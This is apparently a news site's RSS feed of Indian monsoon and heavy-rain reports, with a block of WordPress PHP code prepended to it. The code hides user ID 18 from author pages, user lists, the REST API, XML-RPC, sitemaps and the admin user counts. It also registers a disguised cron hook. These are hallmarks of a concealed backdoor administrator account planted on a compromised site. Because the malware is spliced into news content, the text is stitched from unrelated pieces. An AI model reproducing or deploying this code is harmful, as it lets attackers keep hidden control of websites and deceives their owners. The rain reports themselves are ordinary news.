add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post RED ALERT: Heavy Rains Expected in Palghar, South Gujarat & Mumbai appeared first on The Edge Media.
]]>Authorities have urged residents to stay indoors and avoid unnecessary travel as disaster management teams have been placed on high alert. Local administrations are closely monitoring water levels in low-lying areas and coordinating with weather agencies to provide timely updates.
In Mumbai, Thane, and Raigad, fresh showers are expected between 10 pm Wednesday and 1 pm Thursday, with rainfall projected between 60 mm and 90 mm. Officials, however, confirmed that the worst phase of heavy rains in Mumbai is over, though waterlogging and traffic disruptions may still occur in several pockets.
An official from SkyWatch Weather India stated:
“Palghar and South Gujarat are likely to see intense rainfall in the next 24 hours. While Mumbai continues to receive showers, extreme conditions are unlikely there.”
Travel advisories have been issued, cautioning citizens against visiting coastal regions and urging commuters to stay updated on transport alerts. Emergency helplines have been activated, and residents are advised to prepare for possible disruptions.
With the monsoon currents strengthening along the Konkan coast, weather experts warn that Palghar, Vapi, and Valsad could face flash floods if rainfall intensifies overnight.
The post RED ALERT: Heavy Rains Expected in Palghar, South Gujarat & Mumbai appeared first on The Edge Media.
]]>The post Uttarakhand news: Stay on high alert for heavy rainfall, CM Pushkar Singh Dhami directs police, SDRF appeared first on The Edge Media.
]]>
The chief minister further directed that police, the SDRF, and other concerned personnel is maintained on high alert at important locations, according to the CMO. He stated that the Char Dham Yatra route should be approached with caution. In the following days, Uttarakhand is set to have a lot of rain. On October 17 and 18, the regional meteorological center issued a red alert for heavy to extremely heavy rains in areas of Uttarakhand.
The post Uttarakhand news: Stay on high alert for heavy rainfall, CM Pushkar Singh Dhami directs police, SDRF appeared first on The Edge Media.
]]>The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The southern part of the country will see widespread rainfall activity in the next 24 hours, with Telangana expected to received isolated very heavy falls today, the weather department said.
The rainfall activity is expected to increase in the Northeast region from Wednesday, the IMD forecast added. “Scattered rainfall activity very likely over Western Himalayan Region and adjoining plains of Northwest India during next 4-5 days. Isolated heavy falls also very likely over Uttarakhand on 30th August, 2021,” it said.
The IMD has said that during heavy rainfall could lead to localised flooding, inundation and water logging in low-lying areas in Madhya Pradesh and other states. There is a possibility of landslides, reduction in visibility, damage to vulnerable structure and standing crops in these states, the weather department said.
It also suggested action for the common people to avoid any loss of life of injury:
– Check for traffic congestion on your route before leaving for your destination.
– Follow any traffic advisories that are issued in this regard.
-Avoid going to areas that face the water logging problems often.
-Avoid staying in vulnerable structure.
The IMD on Sunday issued an orange alert for Uttarakhand. There have been intermittent rains in the state since Saturday night, which triggered landslides and waterlogging in various places.
According to the information received from the Disaster Management Department (DMD), more than 200 roads including five National Highways, 15 state highways are blocked in Uttarakhand due to incessant rains and efforts are being made to open them.
The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The post Western Himalayan Region Expected To Receive Heavy Downpour appeared first on The Edge Media.
]]>During the 26th-29th of July, the IMD predicts moderately extensive to pervasive rainfall with scattered heavy to very heavy rainfall across Himachal Pradesh and Uttar Pradesh. It has also forecasted comparable rainfall activities across Uttarakhand from July 25th to July 29th, as well as over Jammu and Kashmir, Ladakh, Gilgit-Baltistan, and Muzaffarabad.
The post Western Himalayan Region Expected To Receive Heavy Downpour appeared first on The Edge Media.
]]>The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>People living in mountainous and landslide-prone regions of the Konkan region are being relocated, according to Maharashtra Chief Minister Uddhav Thackeray, who also professed sadness over the loss of human life in a landslide in Raigad district.
According to a message from the Chief Minister’s Office (CMO), CM Thackeray urged citizens to work with the local authorities in the migration of people of hazardous coastal regions.
The post Several Trains Canceled In Maharashtra Due To Heavy Rains appeared first on The Edge Media.
]]>The post Water supply throughout Mumbai suspended because of heavy rain appeared first on The Edge Media.
]]>The Brihanmumbai Municipal Corporation (BMC) informed that the city’s water supply will be restored only once the electricity is back at the Bhandup complex.
The civic body has asked Mumbaikars to use water sparingly until the supply is fully restored. It also asked citizens to boil water before consuming for maximum safety.
Meanwhile, power outages have been reported in various parts of the city including Colaba, Bandra, Kurla, Malad, Kandivali, Ghatkopar, Mahalaxmi, Sewri, Wadala and Mumbai Central.
The downpour, which started after midnight, continued non-stop and led to waterlogging or flooding in several low-lying areas of Mumbai.
Also, as many as 25 persons have been killed in over 10 different incidents across the city as rains wreaked havoc on Sunday.
At least 17 persons were killed when a wall collapsed after a tree fell at Vashi Naka, New Bharat Nagar in the Chembur area around 1 am.
In another incident, at least 3 people perished when a few hutments caved in the Suryanagar slums in Vikhroli east.
The post Water supply throughout Mumbai suspended because of heavy rain appeared first on The Edge Media.
]]>The post Heavy Rainfall To Occur In Mumbai and Adjacent Districts appeared first on The Edge Media.
]]>On Thursday evening, some sections of Mumbai saw severe rain and limited visibility. The IMD Santacruz observatory reported 58.2 mm of rain in the nine hours ending at 5.30 p.m. Raigad in Maharashtra has experienced heavy to moderate rains in various places during the previous 24 hours, and the coastal district has already received 17.23% of its yearly rainfall quota, according to the local government on Thursday.
The post Heavy Rainfall To Occur In Mumbai and Adjacent Districts appeared first on The Edge Media.
]]>The post Heavy showers lashes Mumbai and suburbs appeared first on The Edge Media.
]]>A Central Railway spokesperson told PTI that the suburban train services between Dadar and Kurla stations on the main line were suspended after the water rose above the track level, while a Brihanmumbai Electric Supply and Transport (BEST) official said that several of its buses had to be diverted due to water-logging at some points. Waterlogging was witnessed at several locations in Bandra East, Hindmata, King’s Circle, Kurla Kamani and Wadala, with BEST diverting its buses on at least 17 locations due to waterlogging on roads.

Mumbai has been receiving heavy rainfall since the last few days, and the India Meteorological Department (IMD) has issued a red alert for the city on Sunday and orange alert for June 14 (Monday). After the IMD’s forecast, the BMC also issued a “high alert” to all the agencies considering “very heavy rainfall” in the next two days.
The post Heavy showers lashes Mumbai and suburbs appeared first on The Edge Media.
]]>The post Heavy shower likely in these states, IMD issues alert. appeared first on The Edge Media.
]]>The weather agency forecast heavy shower at a few places with extremely heavy rains at isolated places over Chhattisgarh and Odisha. Most of east India and adjoining central India will witness widespread rainfall activity with heavy to very heavy fall from Friday under the influence of the low pressure area.
“Heavy to Very Heavy Rainfall at a few places over Konkan & Goa and at isolated places over East Madhya Pradesh, Vidarbha and Coastal Andhra Pradesh & Yanam and Heavy Rainfall at isolated places over Uttarakhand, Uttar Pradesh, West Madhya Pradesh, Gangetic West Bengal, Andaman & Nicobar Islands, Assam & Meghalaya, Gujarat Region, Madhya Maharashtra (ghat areas), Telangana and Coastal Karnataka,” IMD said in its bulletin.
The post Heavy shower likely in these states, IMD issues alert. appeared first on The Edge Media.
]]>The post IMD announced red alert for Mumbai appeared first on The Edge Media.
]]>With heavy rains causing water-logging, Maharashtra Chief Minister Uddhav Thackeray directed the administration to ensure that the accumulated rainwater is drained out at the earliest and transport resumed. Thackeray spoke to the control rooms in Mumbai and collectors of Thane, Raigad, Ratnagiri, Sindhudurg and Palghar districts as incessant rains led to the inundation of several areas, affecting the normal life. The Chief Minister’s Office said the Met department has declared the arrival of monsoon and predicted medium to very heavy rains in the next three days.
IMD Mumbai Deputy Director General Dr Jayanta Sarkar told news agency ANI, “Monsoon has arrived in Mumbai today, normal arrival date is 10th June every year so it has arrived prior to the average arrival date.”
Central railway PRO said local train services between Kurla and Chhatrapati Shivaji Maharaj Terminus have been halted as water is flowing over tracks between Kurla and Sion railway stations. “Traffic stopped at 9.50 am, decision taken as a precautionary measure to avoid any untoward incident. Traffic will resume as soon as water recedes,” he added.
Mumbai’s Colaba and Santacruz recorded 65.4 mm and 50.4 mm of rainfall respectively between 8:30 am on Tuesday and 5:30 am on Wednesday. South Mumbai has been witnessing heavy rainfall since late Tuesday night. Entire stretch of Breach Candy has been waterlogged and footpath too has been submerged. Rainfall also caused low visibility on eastern freeway.
The post IMD announced red alert for Mumbai appeared first on The Edge Media.
]]>